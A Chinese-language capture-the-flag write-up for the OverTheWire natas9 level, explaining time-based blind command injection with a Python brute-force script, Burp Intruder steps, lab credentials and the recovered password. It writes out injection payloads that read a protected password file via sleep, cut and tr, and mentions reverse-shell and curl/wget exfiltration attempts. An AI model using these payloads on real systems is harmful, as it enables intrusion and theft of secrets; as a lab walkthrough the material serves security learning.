命令注入中的时间盲注

从一道题目开始

给一个题目,http://natas9.natas.labs.overthewire.org/ ,账号natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl。题目要求是读取/etc/natas_webpass/natas10的内容。题目页面:enter description here可以看源码enter description here这里存在一个命令注入点,我们可以用|,%0a,;和#号配合使用,造成命令注入:enter description here在url处直接用#是无效的,必须用%23,还要注意在使用注释符#之前要先加一个空格。
题目当然是很简单的,我们可以自己加点难度,比如说,页面没有回显,怎么办?

0x00 写shell

写shell当然是先要有写权限,先尝试创建一个文件。enter description hereenter description here发现是不行的,没有写权限,那么,另辟蹊径吧。

0x01 反弹shell

首先看看目标服务器有没有nc,用which nc命令,which命令可以查看某个系统命令是否存在,以及执行的到底是哪一个位置的命令。enter description here发现nc是有的,尝试一波反弹shellenter description here失败了,猜测题目禁止了出口流量,这里用到了一个方法来检测是不是真的禁止了出口流量:首先在自己的VPS上tcpdump,监听整个网卡的ICMP流量(ping使用的是ICMP协议)本地测试是能监听到的enter description here但是目标服务器测试失败了,说明目标服务器确实禁止了出口流量。

0x02 用curl,wget带上数据访问自己的VPS

禁止了出口流量,这个方法肯定是不行的了。我还是做了一个本地测试enter description here

都不行?

这时候我们发现,上述三个比较常见的方法都是不行的,我们需要另辟蹊径,这里用到了时间盲注~

时间盲注的本地测试

首先我们来看一下tr命令,它可以用来将一个字符替换为另一个字符,类似于单表替换加密enter description here我们又知道,sleep命令可以让当前动作sleep一段时间,那么,我们可以通过对flag字段逐个字去试,比如flag的第一个字母是f,我们可以这样去把它试出来:enter description here与SQL注入的时间盲注原理是一样的,遍历tr的第一个参数以及cut -c的数值即可

回到题目

现在,在我们知道flag的第一个字母是n的情况下,直接测试一下enter description hereenter description here可以看到,返回时间相差4s左右,可以判断这个payload是生效的。

python解题

脚本这东西,当然要多写写啦~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#encoding:utf-8

import requests,time

url='http://natas9.natas.labs.overthewire.org/'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Authorization': 'Basic bmF0YXM5OlcwbU1oVWNSUm5HOGRjZ2hFNHF2azNKQTlsR3Q4bkRs'}

if __name__ == '__main__':
pos=1
flag=''
ses=requests.session()
while True:
for i in xrange(32,127):
t1=time.time()
try:
r=ses.get(url=url,params={'needle':';sleep $(cat /etc/natas_webpass/natas10|cut -c%s|tr %s 4) #'%(str(pos),chr(i))},
timeout=7,proxies=proxies,headers=headers)
except Exception as e:
print e
t2=time.time()
if t2-t1>=3.5:
pos+=1
flag+=chr(i)
print flag

不过这网站有点卡,脚本不稳定,我抓了脚本的包手动测了下,是没错的。

burp解题

既然网站卡,盲注不稳定,那就可以用burp尝试一波。首先用;sleep $(cat /etc/natas_webpass/natas10|wc -c) #来判断flag的长度enter description here可以看到,长度应该是33,我们知道真实的flag长度是32,相差一个,还可以接受?然后,我们对flag中的每个字符都sleep一下,如果不是数字,不会有时延,如果有时延,说明是数字,而且延迟了几秒就是数字几。抓个包,放到intruder爆破enter description hereenter description here选定Intruder attackColumns中的Response completed可以查看返回时长enter description here选定几个时长最长的,再重复发送几次enter description here稳定下来基本是这样的enter description here所以可以推断,flag的第5,15,22位的数字是1,第27位数字是7,这跟flag是符合的。接下来我们就可以正式逐个爆破,这时候字典里就不需要数字了。enter description here参数1的字典不需要5,15,22,27四个数字,seq 1 32 > 1.lst后,手动剔除。参数1:enter description here参数2:直接用burp内置字典ADD a-z,A-Z,再手动加上一些符号和0。enter description here线程数设成20,然后,开始愉快地爆破。enter description here结果出现了很明显的分层,为了防止意外,把2s以上的再重发几遍,最后稳定下来是这样的enter description here一个个拼起来,加上之前的数字,得到的结果是nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu与我们之前读到的flag是完全一样的~

something else

有时候读的文件可能会有一些不可见字符,可以先把它base64一下,base64 命令输出默认按每行 76 个字符进行折行,用参数 -w0 取消这个行为enter description here
let’s go, fuck everything~

Referer

http://www.freebuf.com/vuls/183636.html